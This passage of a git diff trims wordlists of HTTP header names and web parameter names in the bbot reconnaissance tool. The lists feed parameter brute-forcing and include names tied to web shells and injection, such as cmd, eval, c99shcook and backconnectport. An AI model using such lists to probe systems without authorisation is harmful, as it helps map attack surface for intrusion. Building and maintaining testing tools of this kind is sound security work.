-x-myqee-system-hash -x-myqee-system-isadmin -x-myqee-system-isrest -x-myqee-system-pathinfo -x-myqee-system-project -x-myqee-system-rstr -x-myqee-system-time -x-network-info -x-nfsn-https -x-ning-request-uri -x-nokia-connection-mode x-nokia-msisdn -x-nokia-wia-accept-original -x-nokia-wtls -x-nuget-apikey -x-opera-info -x-operamini-features -x-orchestra-scheme -x-orig-client x-original-host x-originally-forwarded-for x-originally-forwarded-proto x-original-remote-addr -x-overlay -x-pagelet-fragment x-password -xpdb-debugger x-phabricator-csrf -x-phpbb-using-plupload -xproxy x-proxy-url -x-pswd -x-qafoo-profiler -x-remote-protocol -x-render-partial -x-request x-request-id x-request-start -x-response-format -x-rest-cors x-sakura-forwarded-for -x-scalr-auth-key -x-scalr-auth-token -x-scalr-env-id -x-screen-height -x-screen-width x-sendfile-type -x-serialize -x-serial-number -x-server-id -x-sina-proxyuser -x-skyfire-screen x-ssl x-subdomain -x-teamsite-preremap x-test-session-id -x-tine20-jsonkey -x-tine20-request-type -x-tomboy-client -x-tor -x-twilio-signature -x-uniquewcid x-up-calling-line-id -x-up-devcap-screendepth -x-upload-content-type -x-upload-maxresolution -x-upload-name -x-upload-size -x-upload-type x-user-agent x-username -x-verify-credentials-authorization -x-wap-client-sdu-size -x-wap-gateway -x-wap-network-client-ip x-wap-network-client-msisdn -x-wap-proxy-cookie -x-wap-session-id -x-wap-tod -x-wap-tod-coded -x-wopi-override x-wikimedia-debug -x-wp-pjax-prefetch -x-ws-api-key -x-xc-schema-version -x-xhprof-debug -x-xhr-referer -x-xmlhttprequest -x-xpid -xxx-real-ip -xxxxxxxxxxxxxxx -x-zikula-ajax-token -x-zotero-version -x-ztgo-bearerinfo -y -zotero-api-version -zotero-write-token access-token -ajax -app-env -bae-env-addr-bcms -bae-env-addr-bus -bae-env-addr-channel -bae-logid -basic -catalog clientip debug -delete -enable-gzip -enable-no-cache-headers -error-1 -error-2 -error-3 -error-4 -eve-trusted -fire-breathing-dragon format -gzip-level -head hosti -htaccess -image incap-client-ip local-content-sha1 on-behalf-of -options -password -pink-pony -proxy-password -put -request2-tests-base-url -request2-tests-proxy-host request-timeout -rest-sign -root -support-events token user -useragent -user-mail -user-name -version-none -viad -x x-access-token x-amz-date -x-amz-server-side-encryption x-auth-key x-auth-user -x-confirm-delete x-do-not-track -x-elgg-nonce -x-expected-entity-length x-filename -x-flash-version -x-flx-consumer-key -x-flx-consumer-secret -x-flx-redirect-url x-forwarded-scheme -x-jphone-msname -x-options -x-os-prefs -x-pjax-container x-request-timestamp -x-rest-password -x-rest-username -x-te x-unique-id -x-up-devcap-iscolor accesskey -auth-any -auth-basic -auth-digest -auth-gssneg -auth-ntlm -code -cookie-httponly -cookie-parse-raw -cookie-secure -deflate-level-def -deflate-level-max -deflate-level-min -deflate-strategy-def -deflate-strategy-filt -deflate-strategy-fixed -deflate-strategy-huff -deflate-strategy-rle -deflate-type-gzip -deflate-type-raw -deflate-type-zlib -e-encoding -e-header -e-invalid-param -e-malformed-headers -e-message-type -encoding-stream-flush-full -encoding-stream-flush-none -encoding-stream-flush-sync -e-querystring -e-request -e-request-method -e-request-pool -e-response -e-runtime -e-socket -e-url -get -header http-phone-number -ipresolve-any -ipresolve-v4 -ipresolve-v6 link -meth-acl -meth-baseline-control -meth-checkin -meth-checkout -meth-connect -meth-copy -meth-label -meth-lock -meth-merge -meth-mkactivity -meth-mkcol -meth-mkworkspace -meth-move -meth-options -meth-propfind -meth-proppatch -meth-report -meth-trace -meth-uncheckout -meth-unlock -meth-update -meth-version-control -msg-none -msg-request -msg-response oc-chunked ocs-apirequest -params-allow-comma -params-allow-failure -params-default -params-raise-error -path phone-number -pragma-no-cache -proxy-http -proxy-socks4 -proxy-socks5 -querystring-type-array -querystring-type-bool -querystring-type-float -querystring-type-int -querystring-type-object -querystring-type-string -redirect -redirect-found -redirect-perm -redirect-post -redirect-proxy -redirect-temp -refferer requesttoken sec-ch-ua sec-ch-ua-arch @@ -800,351 +229,61 @@ sec-fetch-mode sec-fetch-site sec-fetch-user sec-websocket-key -sp-host -ssl -ssl-version-any -status-bad-request -status-forbidden -support -support-encodings -support-magicmime -support-requests -support-sslrequests surrogate-capability -ua -upload-default-chmod -url -url-from-env -verbose-throttle -version-1-0 -version-1-1 -version-any -webodf-member-id -webodf-session-id -webodf-session-revision -work-directory -x- x-api-key x-apitoken x-csrftoken -x-elgg-apikey -x-elgg-hmac -x-elgg-hmac-algo -x-elgg-posthash -x-elgg-posthash-algo -x-elgg-time -x-foo x-forwarded-by -x-json -x-litmus -x-locking x-oc-mtime x-remote-addr x-request-signature x-ua-device -x-update-range x-varnish x-wp-nonce auth -brief -chunk-size client -download-attachment -download-bz2 -download-e-headers-sent -download-e-invalid-archive-type -download-e-invalid-content-type -download-e-invalid-file -download-e-invalid-param -download-e-invalid-request -download-e-invalid-resource -download-e-no-ext-mmagic -download-e-no-ext-zlib -download-inline -download-tar -download-tgz -download-zip -header-lf -header-status-client-error -header-status-informational -header-status-redirect -header-status-server-error -header-status-successful -https-from-lb -meth-delete -meth-head -meth-post -multipart-boundary -originator -php -recipient -request-error -request-vars secretkey -status-ok xauthorization -x-codeception-codecoverage -x-codeception-codecoverage-config -x-codeception-codecoverage-debug -x-codeception-codecoverage-suite x-csrf-token -x-dokuwiki-do -x-helpscout-signature -x-nokia-bearer -xonnection -x-purpose -xroxy-connection x-user -bae-env-appid -catalog-server -cookie-path -custom-header -forwarded-for-ip -meth-get -meth-put -opencart -unless-modified-since -www-address x-content-type x-hub-signature x-signature -bae-env-addr-sql-ip -bae-env-addr-sql-port -cache-info -client-error-cannot-access-local-file -client-error-cannot-connect -client-error-communication-failure -client-error-invalid-parameters -client-error-invalid-server-address -client-error-no-error -client-error-protocol-failure -client-error-unspecified-error -error-formatting-html lock-token -onerror-continue -onerror-die overwrite prefer shib-application-id -x-fireloggerauth -cookie-domain -https -meth- -modauth -port -post -read-state-begin -read-state-body -read-state-headers -socket-connection-err -str-match -transport-err -coming-from -nl -ua-pixels -x-coming-from -x-jphone-display -x-up-devcap-screenpixels -x-whatever -appname -proxy-port version x-forward-for -proxy-user -x-em-uid x-file-type -bar -proxy timeout referrer -x-forwarded-ssl -x-jphone-uid x-file-size -accepted -appcookie -bad-gateway -bae-env-addr-bcs -conflict -continue -created -expectation-failed -failed-dependency -gateway-time-out -gone -insufficient-storage -internal-server-error -length-required -locked -method-not-allowed -moved-permanently -moved-temporarily -multiple-choices -multi-status -no-content -non-authoritative -not-acceptable -not-extended -not-implemented -not-modified -partial-content -payment-required -precondition-failed -processing -proxy-authentication-required -range-not-satisfiable -request-entity-too-large -request-time-out -request-uri-too-large -reset-content -see-other -service-unavailable -switching-protocols -temporary-redirect -unprocessable-entity -unsupported-media-type -upgrade-required -use-proxy -variant-also-varies -version-not-supported -x-operamini-phone -bad-request -forbidden -unauthorized -user-agent-via -appversion -not-found -url-strip- x-pjax cf-connecting-ip -x-dcmguid -foo -info-download-size -info-download-time -info-return-code -info-total-request-stat -info-total-response-stat -x-firelogger content-md5 x-up-subno -bae-env-ak -bae-env-sk if -ok -url-join-path -url-join-query -url-replace -url-strip-all -url-strip-auth -url-strip-fragment -url-strip-pass -url-strip-path -url-strip-port -url-strip-query -url-strip-user depth x-file-name x-moz -x-ucbrowser-device-ua -device-stock-ua -mod-rewrite -x-nokia-ipaddress -x-bolt-phone-ua -x-original-user-agent -x-skyfire-phone -title -ssl-https -request-error-file -request-error-gzip-crc -request-error-gzip-data -request-error-gzip-method -request-error-gzip-read -request-error-proxy -request-error-redirects -request-error-response -request-error-url -slug -x-att-deviceid -authentication -x-firephp-version -x-mobile-gateway -request-mbstring -x-device-user-agent -x-huawei-userid -x-orange-id -x-vodafone-3gpdpcontext -x-wap-clientid -ua-cpu -wap-connection -x-nokia-gateway-id -ua-os -body-maxlength -body-truncated max-forwards -mimetype -verify-cert -request-http-ver-1-0 -request-http-ver-1-1 -request-method-delete -request-method-get -request-method-head -request-method-options -request-method-post -request-method-put -request-method-trace -x-operamini-phone-ua -status -x-update method forwarded-for x-forwarded -scheme x-forwarded-server origin x-client-ip -x-prototype-version clientaddress -base -pc-remote-addr -post-files -session-vars -cookie-vars -env-vars -get-vars -server-vars x-forwarded-host x-requested-with -referer host alt-used x-original-url~/%s x-rewrite-url~/%s command -__requesturi -__requestverb x-http-status-code-override x-amzn-remapped-host -x-amz-website-redirect-location -x-up-devcap-post-charset -http_sm_authdirname -http_sm_authdirnamespace -http_sm_authdiroid -http_sm_authdirserver -http_sm_authreason -http_sm_authtype -http_sm_dominocn -http_sm_realm -http_sm_realmoid -http_sm_sdomain -http_sm_serveridentityspec -http_sm_serversessionid -http_sm_serversessionspec -http_sm_sessiondrift -http_sm_timetoexpire -http_sm_transactionid -http_sm_universalid -http_sm_user -http_sm_userdn -http_sm_usermsg x-remote-ip traceparent tracestate diff --git a/bbot/wordlists/paramminer_parameters.txt b/bbot/wordlists/paramminer_parameters.txt index 9ad334d19c..5cf52fe2d8 100644 --- a/bbot/wordlists/paramminer_parameters.txt +++ b/bbot/wordlists/paramminer_parameters.txt @@ -1,9 +1,7 @@ -id user account number order -no doc key email @@ -13,11 +11,9 @@ edit report daemon upload -dir execute download log -ip cli cmd file @@ -25,7 +21,6 @@ document folder root path -pg style pdf template @@ -74,7 +69,6 @@ page feed host port -to out show navigation @@ -101,7 +95,6 @@ rename reset shell toggle -adm cfg config action @@ -111,20 +104,15 @@ type username title code -q submit token message -t -c mode lang -p status start charset description -s post excerpt login @@ -132,15 +120,12 @@ comment step ajax state -f error save format tab offset -a limit -do plugin theme text @@ -148,22 +133,17 @@ language height logout pass -h value filename year version subject -m -u confirm width -w size date source GLOBALS -op method uid tag @@ -178,26 +158,21 @@ paged cat msg add -d day nonce captcha output revision -i xml -db time section image -r files tags users send updated skips -n check orderby num @@ -220,36 +195,27 @@ position location extra count -b rating pass2 hostname move hash -dry cid body src level generate -g dbname option userid -sql options address activated action2 -password2 pass1 meta -ID deleted -act -e taxonomy -ref publish secret app @@ -261,7 +227,6 @@ force export sticky nickname -v plugins locked command @@ -281,17 +246,12 @@ keywords enabled base refresh -foo -y media info guid -dt -x testdata list visibility -User thumb stage history @@ -315,7 +275,6 @@ posted noheader ContactForm tax -ss inline gid attachments @@ -334,20 +293,14 @@ short active session registration -hh price nsql -mm loggedout lastname SMALLER saved -rsd -ps newcontent -mn linkurl -jj install hidem firstname @@ -356,15 +309,12 @@ color clearsql checkemail BIGGER -aa slug remember referrer reason -o note referredby -l deletepost dbpass attached @@ -374,7 +324,6 @@ noredir newcat monthnum metakeyinput -insertonlybutton input form failure @@ -417,7 +366,6 @@ task submitted database addnew -Submit purge notes editwidget @@ -438,7 +386,6 @@ ctype widget topic main -js blogname untrash unspammed @@ -459,12 +406,10 @@ find display directory batch -alt set scrollto fwidth fheight -sub same rows reauth @@ -486,7 +431,6 @@ noapi charsout catslist categories -up subscribe script removeheader @@ -496,7 +440,6 @@ nocache kill columns api -z sortby register recovered @@ -513,9 +456,7 @@ rid result public payload -ns mobile -css align what rank @@ -538,13 +479,11 @@ done summary skipped range -go dump confirmation CKEditorFuncNum changes ticket -pw pointer param first @@ -559,10 +498,8 @@ nochange length goto company -Comment close website -st skip restart pages @@ -570,17 +507,13 @@ node localize fname except -Type restore profiler previewed -password1 NewFolderName lng left layout -k -fn flag doaction2 details @@ -591,11 +524,8 @@ broken block paper line -jax icon flush -fileName -dl controller catid PayerID @@ -605,7 +535,6 @@ decomposition confirmed chromeless bid -yes weight verify values @@ -614,7 +543,6 @@ route replace read project -Post nid md5 map @@ -627,14 +555,11 @@ exclude dbprefix authors zoom -userId trigger setting -rs provider package operation -ok object mark lid @@ -645,7 +570,6 @@ forum err doit backup -ac sent phpThumbDebug photo @@ -695,7 +619,6 @@ sign sEcho searchtype saveasdraft -rss recipient prev notice @@ -706,7 +629,6 @@ members member md5s init -hs headerimage header fontdisplay @@ -715,11 +637,9 @@ fax engine current client -cc callf article ver -ts roles region raw @@ -737,7 +657,6 @@ empty chunks album userselect -userName telephone stats saveauthors @@ -754,9 +673,7 @@ denied dccharset contents compress -Command area -aim accept vid unit @@ -773,7 +690,6 @@ record posts pagenow override -opt opname job idx @@ -783,7 +699,6 @@ filters fileid expand entity -cp clean caption apikey @@ -798,7 +713,6 @@ sex separator scripts rules -rt rate product prepopulate @@ -824,12 +738,10 @@ again actions wysiwyg word -userID unsort uninstall unfoldmenu support -startDate standalone since score @@ -843,13 +755,11 @@ oldpassword oid noajax newpassword -newName minute mac langCode iDisplayStart genre -From font emails eid @@ -863,14 +773,12 @@ collation cms attributes attribute -as adduser zone zipcode words viewtype usr -To ssl single sendmail @@ -880,24 +788,18 @@ perpage newsletter newsid names -Name min logoutRequest logo interface frequency -firstName -dbName criteria -by button break -bg ban authorize artist allow -un stripeToken resize replyto @@ -912,14 +814,10 @@ opener namespace mime loc -lastName jabber global forums -foo1 -FileName endpoint -Email detail descr deny @@ -928,14 +826,10 @@ customer copyright compression collection -address2 -yim week unsubscribe truncate -tableName speed -sortOrder sig share servername @@ -976,8 +870,6 @@ sessionid sequence sender searchTerm -sd -sc rule reg redir @@ -987,14 +879,12 @@ productid popupurl popuptitle pageid -oc nom newpass memo maxResults iSortingCols gateway -for feedback fcksource extension @@ -1004,10 +894,8 @@ deleteall csv business board -address1 addr addgroup -who unread ttl temp @@ -1024,25 +912,19 @@ permission pending pattern passkey -nr match jsonp itemid invites invite -foo6 -foo2 filetype -fc encoding enc -em element discard delay def dbpassword -currentFolder course commit cols @@ -1063,7 +945,6 @@ threadid team system storage -STATUS sites rollback resettext @@ -1072,16 +953,11 @@ rem receiver rebuild rebroadcast -re quality -qq -Profile privileges primary poll -Password parameters -os orderbydate opauth messages @@ -1092,16 +968,13 @@ ignore handler forward fileext -endDate driver docroot deletepage -d2 cron control configure conditions -Collation codepress chart bitrate @@ -1122,22 +995,17 @@ rev returnto repo rel -RegistrationForm -r2 pre player place -pk person permalink -pc payment pagename other openid notifications nojs -newPassword newdir network multi @@ -1170,36 +1038,26 @@ asc anonymous announcement xmldump -UserRecoveryForm UserLogin -UserChangePassword -USER updates -tx tweet trust track topicid tool timeformat -tb -step2 ssid sendto season -Search schedule scan -sa repassword reinstall realname radius -px proxyuser ProfileField pmid -pm picture paymentType param2 @@ -1207,7 +1065,6 @@ nopass newfolder mysql multiple -Message longitude logtype loader @@ -1217,10 +1074,8 @@ join ipaddress instance iframe -id2 hours home -groupId gallery ftp friends @@ -1232,7 +1087,6 @@ fail explain episode email2 -EaseTemplateVer distance dirname depth @@ -1243,12 +1097,9 @@ crop cost connect confirmpassword -com -co chk child categoryid -Body birthdate begin before @@ -1256,7 +1107,6 @@ BackURL avatars autofocus authenticate -at aname agreement adminname @@ -1264,13 +1114,10 @@ activkey xajax viewonline unwatch -ui typeid -th templateid targets tagged -sw super subname subform @@ -1283,7 +1130,6 @@ spec sord snapshot side -sh serial second rewrite @@ -1295,20 +1141,12 @@ previous preset poster policies -pn platform placement pin -pID php -parentID pagination pagesize -p2 -p1 -oldPassword -name2 -msn moved monitor migrate @@ -1316,35 +1154,26 @@ merge maxage mask manufacturer -ls loginname -ld -Lang kid include idSelect hook goback -fs frontpage fontsize filepath -Filename filecontent featured fav failed extend eventId -eventid endtime editid div delivery -dbUser dbsize -dbPassword -DATA dashboard cursor container @@ -1353,18 +1182,14 @@ compact colors collapse characters -ch cats cart calendar -C browser brand birthday -bcc attr apps -ad zid xajaxargs which @@ -1376,7 +1201,6 @@ usesubform unique undelete uids -tz torrent titles templates @@ -1390,20 +1214,15 @@ suffix subtotal submitorderby submitoptions -State staff special -sortBy sorder sname -sm sitemap siteid simpledb signin sidx -sID -ShowFunctionFields shoutbox sec sample @@ -1423,27 +1242,21 @@ progress program problem postsperpage -postId pollid playlist paymentAmount passphrase pagetitle -pageSize pageno -pageID padding otp onserver obfuscate newvalue -newDir mongo moderator modal mimetype -mID -ma lst loop lookup @@ -1451,14 +1264,10 @@ loggedin lastID issue intro -in idp head handle -gz -groupID gift -gID funcs fulltext folderid @@ -1470,12 +1279,10 @@ feeds errors entries elastic -dontlimitchars donor dob displayname disp -des department delmarked dbusername @@ -1489,9 +1296,7 @@ cover coppa contentType complete -Comments commentid -cID catorder book authkey @@ -1500,7 +1305,6 @@ articles appname appid append -and analyze agreed agent @@ -1509,52 +1313,37 @@ adminmail addfolder addcomment accountid -y2 -x2 -WriteTags with wipe -why wctx -vp videoType vcode vbrmethod userrole userpass -Username useremail userdata -unsynchronizedtags unstick unsecuresubmit unbookmark -ua typ -tv tree transfer trackzero TracksTotal tracknoalbum trackinalbum -Track trace tot torrentid Toolbar -TOKEN todate titlefeat tipo thumbs tel -tc tagtypes tagname -TagFormatsToWrite -synchronizetagsfrom -sum subdomain stype stub @@ -1564,11 +1353,7 @@ stick static srv split -sp -sn smtp -sku -Skin signout showwysiwyg showtagfiles @@ -1584,25 +1369,18 @@ saveid saveField SAMLResponse samemix -rpp rolename rights -returnURL -returnurl restrict resolve rescanerrors reorder renamefileto reminder -rememberMe relative recent -realName radio quickmod -qa -pw2 psubmit properties projects @@ -1615,18 +1393,13 @@ persistent permanent percent pay -PASSWORD passwd2 partial paid -orderId -oID npassword notmodrewrite notapache -nonemptycomments noalert -newUser newscan newpw newpass2 @@ -1639,7 +1412,6 @@ money moduleName mlpage mkdir -missingtrackvolume minutes minor mensaje @@ -1648,11 +1420,8 @@ manager m3utitle m3ufilename m3uartist -m3u longurl logs -Login -ln lists listid listdirectory @@ -1660,69 +1429,46 @@ linktype lines like lib -KEY itemType -itemId isAjax int initial grp -groupName GenreOther -genredistribution -Genre fullfolder framed formName formid -formatdistribution foldmenu flip -fixid3v1padding filetypelist filesize -filenamepattern filelist fileextensions fieldValue -fieldName fieldid -fID feid extended extAction existing -ex events eventName -errorswarnings -encoderoptionsdistribution -encodedbydistribution emptygenres emailAddress -emailaddress edituser -dp -displayName disallow dirs dictionary deleteid defaultValue -deadfilescheck deactivated -dd -dbType dates -ctf createdb -Country correctcase copied cookies convert contactname -confirmPassword configuration condition cluster @@ -1731,44 +1477,28 @@ CKFinderCommand chmod children chat -cep -cd -cb catname -catID CardType caching bookmark bodytext bgcolor baseurl -bar -autofixforcesource -autofixforcedest autofix authtype audiobitrates assignment -artisttitledupes application -APICpictureType -ans announce anchor -amt always -adv addusers accessType -y1 xrds -x1 wrap work -way warning votes -vn views videoid verifypeer @@ -1783,39 +1513,25 @@ utmp utmdebug utmac uses -userEmail use uporder updatedb unbansubmit -ult -ul2 -ul -UA -u2 -u1 -type2 txtDescription transaction tracker tos -torrentsperpage topicsperpage toboard -Title timeframe -tID textarea testing testemail tbl tasks taglist -Tag tableprefix tableId -t2 -t1 survey surname supportfor @@ -1825,34 +1541,27 @@ submit1 subj styles storyid -step1 stay -Status start2 standard span -so smtpPort smiley slogan slide sitetitle signatures -SID showqueries showpage shout sha1 -sf severity sesskey sessidpass series sectionid -searchText searchid searchField -sdb sday scheme scene @@ -1861,12 +1570,10 @@ savesettings savepms savefile saveData -Save sandbox rotatefile rotate roleid -rn revoke returnID resync @@ -1888,7 +1595,6 @@ RecordingUrl recordid reasontype race -qs push pub province @@ -1896,20 +1602,15 @@ protection property pref predefined -pp play plan -pl ping -pf permerror passw -PASS PaRes parameter organization org -orderBy online oldusername oldpwd @@ -1918,7 +1619,6 @@ objects nowarn notification newpw2 -NEWPASS newlang nav myEditor @@ -1931,16 +1631,12 @@ maxwidth matchtype mapping mandatory -ls2 local lightbox levels langID -L kick karma -j -Itemid isDuplicate iphone ipexclude @@ -1955,32 +1651,19 @@ incldead importance imgurl imgpath -IMG imageid ident -id1 -Id -icq href hostid -hl -hit headline heading -HeaderHexBytes goodfiles -Generate -ft fragment forumid foreign followup -fm fldr -fileType filetotal -fileID -fg fCancel facebook extUpload @@ -1989,7 +1672,6 @@ extMethod expiry example errorCode -eol entityid encoded emphasis @@ -2004,9 +1686,7 @@ donated doinstall docid dlt -dl2 direct -dip Digits dict delid @@ -2020,9 +1700,7 @@ date2 datatype cut currencyCodeType -ct csrf -cs cPath courses coupon @@ -2031,9 +1709,6 @@ content1 contacts contactid conn -commentId -cod -cm clientid clearLogs classification @@ -2041,7 +1716,6 @@ chosen channelmode chanid chan -Category campaign callerid caller @@ -2052,8 +1726,6 @@ boards blogusers blogs billing -bID -bib bbconfigloc base64 bansubmit @@ -2067,20 +1739,16 @@ alpha alert albumid ageverify -agb afilter adminpassword adminid adminemail -AddAuthItemForm activation actionfile -Action acceptpms accepted abstract abort -a2 zoneid youtube yourname @@ -2088,91 +1756,30 @@ wwname wmax wiki widgets -Widget whitelist wait voucher -vol -vl -visualizationSettings viewName -viewname via -Version -varname variables validator valid utype utf8 usort -Users -USERNAME url1 -URL uploadpos -Upload -Update upc until unset unselectall unpublished undo -u9 -u8 -u7 -u6 -u50 -u5 -u49 -u48 -u47 -u46 -u45 -u44 -u43 -u42 -u41 -u40 -u4 -u39 -u38 -u37 -u36 -u35 -u34 -u33 -u32 -u31 -u30 -u3 -u29 -u28 -u27 -u26 -u25 -u24 -u23 -u22 -u21 -u20 -u19 -u18 -u17 -u16 -u15 -u14 -u13 -u12 -u11 -u10 txtEmail trid transactionID trackusers totalProductCount -topicID tokens times timer @@ -2183,18 +1790,15 @@ themename testmethods taskid targetboard -tac tableFields tabid sys -sy suspend supplierID subwdata suburb substruc substep -submit2 sublogin subjoin subconst @@ -2202,22 +1806,18 @@ subcat subacc student STRUCTURE -structure strReferrer strProfileData strId strFormId stream steps -stdDateFilterField stdDateFilter station -startTime startday sserver square sqlquery -sq spass sound sortKey @@ -2230,16 +1830,11 @@ skype singleout signup SignatureValue -Signature showtemplate showSource -ShowFieldTypesInDataEditView -showAll shortname shop ship -searchType -searchterm searchbox searchaction searchable @@ -2247,22 +1842,13 @@ school saveToFile runQuery ruleid -rp round -Role rmFiles -rm -rID -responsecompression -Reset requiredData requestKey requestcompression repopulate -removeVariables removeID -removeid -removeAll remark relmodule RelayState @@ -2273,23 +1859,18 @@ referral records rec reboot -rc ratio ratings -r1 quick quest queryPart qtype -qr purpose -pto proxypwd proxyport proto promote probe -PRIVILEGES printview previewwrite pressthis @@ -2297,46 +1878,30 @@ prenom posttext pop point -pms pmnotif plus pkg phpMyAdmin phonenumber -phone2 -phone1 pfrom paypal paste passwrd passwordConfirm -password3 partner parked parenttab -ParentID param1 panel -pageTitle -PAGE -Page pack p2ajax OutSum -OUTPUTFILETEXT -OUTPUT orderNo -or optimize oldname offline -occ -npw -np nowarned nombre -nn -nID newuseremail newtitle newtext @@ -2345,19 +1910,12 @@ newstatus newpwd NEWPRIVILEGES newpassword2 -newPass2 newpass1 -newPass -NEWNAME NEWHOST newdid NEWCHOICE -nb -name1 -NAME mytribe mtime -mp movie movefile mood @@ -2369,7 +1927,6 @@ mirror mhpw metrics methodpayload -membername memberID membergroups mediaid @@ -2389,7 +1946,6 @@ listPrice linkname limitTypes lim -lID legend leap lead @@ -2401,29 +1957,22 @@ keystring keepHTML keep keepalive -ItemId -itemID itemCode ipp -IP invoiceid InvId intTimestamp -intDatabaseIndex institution installmode inst INSERTTYPE initdb INDEXTYPE -INDEXCOLUMNLIST imaptest IGNOREFIRST -if idstring idlist hosts -HOST hdnProductId gzip grid @@ -2438,11 +1987,8 @@ fullsite frontend fromdate formSubmit -FormbuilderTestModel -FORMAT follow folders -folderID foffset focus fldName @@ -2450,38 +1996,29 @@ filtertype filterText filterName fileFormat -Fields FIELDNAMES field2 field1 fee -f2 EXPORTTABLE exportImages EXPORTDB exception exact -eventID eval endyear -en email1 -EMAIL elementId eids education editParts -Edit -ec dtstart dtend downloadpos downloaded dname -dm dlconfig distinct -displayVisualization director directmode dipl @@ -2491,7 +2028,6 @@ design descending desact deluser -DELIMITER deleteUsers deletefolder deldir @@ -2501,9 +2037,6 @@ DBLIST dbase dayDelta date1 -dataType -DATABASE -d1 cvv customers currentid @@ -2513,13 +2046,11 @@ cur ctid credits createclass -cr countryName countryCode counter core coords -contactName connectt conflict configfile @@ -2529,26 +2060,21 @@ commenttext colours colName CollectionId -Cmd clientcookies clickedon clicked cleanup -CHOICE chartSettings chars charge channelName channelID changed -cf cert cdone -catId card canvas campaignid -cal cainfo build btn @@ -2558,9 +2084,7 @@ bool blocks blockid blacklist -birthDate binary -bi bbox banreason bank @@ -2575,10 +2099,6 @@ AuthItem AuthChildForm atype AttachmentName -AssignmentForm -Artist -Article -aoe allrows alli2 allDay @@ -2591,56 +2111,36 @@ admid addon additional ADAPTER -ACTION ACCESSLEVEL -a1 -3 -1 - png -ob maxdays aliases SHIPTOZIP SHIPTOSTATE SHIPTOCOUNTRY SHIPTOCITY -Delete -Address -zID yeniyer -ww wser -wq wdir vpn voting viewscount verified vPath -ux -ut usrid userspec -userpicpersonal usefilename urldown uptime uploadloc upfile -ty tradercap todoAction toaddress toAdd tmp tickets -templateID tarfile -sv -submitcollation -step4 -step3 srcport sqlf shortcut @@ -2651,11 +2151,8 @@ searchClause2 searchClause scheduled sameall -rw -rto rmdir reveal -resetVoteCount renamefolder remoteserver regval @@ -2665,7 +2162,6 @@ registre redirection readregname qaction -pu prog prepare preference @@ -2682,9 +2178,6 @@ phpexec phpev passwrd2 passwrd1 -pa -ox -overmodsecurity orderdir orderByColumn onserverover @@ -2696,13 +2189,11 @@ newdirectory netmask nere mysqlpass -mx msgs mquery moderators mkfile missing -mip minage menuHashes mem @@ -2713,7 +2204,6 @@ lngfile ldap kind jump -it ispublic ipaddr inside @@ -2722,10 +2212,8 @@ imagesize iStart iLength iColumns -hp hname guestname -gf getfile generalgroup fromname @@ -2743,62 +2231,37 @@ fallback eventDate erorr ephp -ep env enquiry emailto emailActivate eheight -ef editform editfilename -ed dup dstport dosyaa dontFormat dolma -doi -displayAllColumns dirupload dif delregname delim deleteuser deleteAccount -dc dbu dbsession dbp dbh -dateFormat dataLabel -cy customerid -customWhereClause curl curdir criteriaValues criteriaTables criteriaSort criteriaShow -criteriaSearchType -criteriaSearchString -criteriaRowInsert -criteriaRowDelete -criteriaRowAdd -criteriaColumnTypes -criteriaColumnOperators -criteriaColumnNames -criteriaColumnName -criteriaColumnInsert -criteriaColumnDelete -criteriaColumnCount -criteriaColumnCollations -criteriaColumnAdd criteriaColumn -criteriaAndOrRow -criteriaAndOrColumn createfolder cpy coppaPost @@ -2806,53 +2269,35 @@ coppaFax coord cookiename cookielength -contactId -con community columnsToDisplay -cn -cl chmod0 checksum changeusername certificate censortext censortest -censorWholeWord -censorIgnoreCase calname calid c99shcook bug -brd bport boardurl boardid boardaccess -bgc bday2 backuptype -backconnectport backcconnmsge backcconnmsg -appId animate -allday actionfolder aclid absolute aPath -TYPE SHIPTOSTREET ProfileForm Mohajer22 -MD -M2 -F -ER -Direction CURRENCYCODE -A zrecord zpage zonetxt @@ -2866,7 +2311,6 @@ woeid weekdays webid watermark -vv vpassword viewed viewall @@ -2880,17 +2324,13 @@ usertype userlength userip usergroup -userGroup -userEnableRecovery usepost used upsql uploadfile uploadForm -updateRecordID updateFileID updateData -updateBiblioID upd upage unzip @@ -2898,26 +2338,18 @@ untilDate unstable unhideNavItem uitype -ue -typE txtCommand txtAddComment tvid -tt -transactionId transStatus transId -tpp -tp totaltopics topicseen tools -toolbar tok timezonedetection timeUnit timeIncrement -ti threshold thankyou tftp @@ -2925,7 +2357,6 @@ tfid tests testmode tempLoanID -te taxid tagvalue tabs @@ -2962,41 +2393,32 @@ star stUpload ssi sshport -ssearch sqluser sqlpass sqlhost spoiler specialchars -specDetailInfo spage -smtpusername -smtpport smtppassword smodule -sl skid -siteName showsc shown showh showevent showdupes -showUnhideDialog showCheckbox shared shareWith shareType setMetrics setDefault -sessionId sesc services serverurl servertype servers serverid -serveR seriesTitle serialID seqNumber @@ -3009,8 +2431,6 @@ searchin searchby searchString searchName -searchId -sea scid scdir scalingup @@ -3081,12 +2501,9 @@ rawfilter ranking ragename rage -r4 quirks quickReturnID questionid -querY -qt qindsub qcontent qact2 @@ -3096,28 +2513,23 @@ publisherID publicUpload ptype ptID -pt -pruningOptions proxypass proxyhostmsg protect prop projectid -projectID progresskey profiles producttype processed pro priceCurrency -pr postto postgroups postfrom postal portalauth popuptype -pod plug plain placeName @@ -3127,23 +2539,16 @@ phpini phpcode pftext personal -pd -pb paymentStatus pause passwords passwd1 passlength -passWord -pasS -parentId palette pais -pageId packageName overrideID outbox -ot ordDate optimization opml @@ -3169,7 +2574,6 @@ notactivated noredirect noChangeGroup nfid -nf newowner newgroupname newf @@ -3177,19 +2581,15 @@ newer newemail newdb newWidth -newPassword2 newLoanDate newHeight newDueDate -newDirectory nentries myip msgfield -ms movieview mountType mountPoint -modulename moduleid modulePath moduleDesc @@ -3203,7 +2603,6 @@ mini microhistory methodsig memory -memberTypeName memberTypeID memberPostal memberPhone @@ -3213,7 +2612,6 @@ memberNotes memberFax memberEmail memberAddress -me md5sum md5sig maxentries @@ -3232,7 +2630,6 @@ mailing magic logging logfile -logdefaultblock logMeIn locationID loanStatus @@ -3240,12 +2637,10 @@ loanSessionID loanPeriode loanLimit loanID -listprice listname listing listarea listShow -link2 lineid lifetime library @@ -3255,28 +2650,21 @@ layoutType layers lasturl lastmodified -lastid lastQueryStr languagePrefix langName labelDesc labdef -kw kstart keyname keydata key2 key1 -kb -k2 jupart jufinal joindate -iv -itemname itemStatusID itemStatus -itemSourceName itemSource itemSite itemShares @@ -3308,11 +2696,8 @@ inPassword inNewPass imdbid imdb -ie idtype -idc htaccess -hot holiday holDesc holDateEnd @@ -3321,8 +2706,6 @@ hideNavItem hex headers harm -harddiskstandby -gx guest gtype grouptype @@ -3337,9 +2720,7 @@ 